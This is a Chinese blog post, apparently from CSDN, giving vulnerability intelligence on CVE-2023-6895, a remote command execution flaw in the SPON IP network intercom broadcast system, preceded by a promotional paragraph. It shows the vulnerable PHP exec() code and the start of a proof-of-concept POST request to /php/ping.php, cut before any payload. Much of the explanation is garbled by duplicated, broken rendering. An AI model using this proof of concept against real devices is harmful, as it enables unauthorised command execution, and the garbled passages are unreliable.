漏洞情报-世邦IP网络对讲广播系统远程命令执行漏洞CVE-2023-6895(1)

最新推荐文章于 2024-06-21 04:39:50 发布

2401_83947434

最新推荐文章于 2024-06-21 04:39:50 发布

阅读量569

点赞数 7

分类专栏： 2024年程序员学习文章标签：网络 tcp/ip 安全

本文链接：https://blog.csdn.net/2401_83947434/article/details/138012897

版权

2024年程序员学习专栏收录该内容

272 篇文章 0 订阅

订阅专栏

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

 }else{
      //windows
      if($type == "0"){
           exec("ping $ip -n $times", $info);
      }else if($type == "1"){
           exec("tracert -h $times -w 1000 $ip", $info);
      }else{
           exec($ip, $info);
      }
 }
 return $info;

}


可以看到问题在systemopr()，发现当 
 
 
 
 
 p 
 
 
 o 
 
 
 s 
 
 
 t 
 
 
 D 
 
 
 a 
 
 
 t 
 
 
 a 
 
 
 
 [ 
 
 
 ′ 
 
 
 
 t 
 
 
 y 
 
 
 p 
 
 
 
 e 
 
 
 ′ 
 
 
 
 ] 
 
 
 和 
 
 
 
 postData['type']和 
 
 
 postData[′type′]和postData[‘ip’]存在值时，则会传入systemopr函数，通过exec()函数进行拼接命令执行，当 
 
 
 
 
 p 
 
 
 o 
 
 
 s 
 
 
 t 
 
 
 D 
 
 
 a 
 
 
 t 
 
 
 a 
 
 
 
 [ 
 
 
 ′ 
 
 
 
 t 
 
 
 y 
 
 
 p 
 
 
 
 e 
 
 
 ′ 
 
 
 
 ] 
 
 
 等于 
 
 
 0 
 
 
 或 
 
 
 1 
 
 
 时，则代入指定代码段，执行指定命令。但 
 
 
 
 postData['type']等于0或1时，则代入指定代码段，执行指定命令。但 
 
 
 postData[′type′]等于0或1时，则代入指定代码段，执行指定命令。但postData[‘type’]参数值不等于0和1时，可以不考虑参数闭合，直接可以通过 
 
 
 
 
 p 
 
 
 o 
 
 
 s 
 
 
 t 
 
 
 D 
 
 
 a 
 
 
 t 
 
 
 a 
 
 
 
 [ 
 
 
 ′ 
 
 
 
 i 
 
 
 
 p 
 
 
 ′ 
 
 
 
 ] 
 
 
 执行任意命令。而且恰巧 
 
 
 
 postData['ip']执行任意命令。而且恰巧 
 
 
 postData[′ip′]执行任意命令。而且恰巧postData[‘type’]和$postData[‘ip’]的值都是POST传参可控的，导致我们可以执行任意系统命令。


### 漏洞利用

poc
POST /php/ping.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest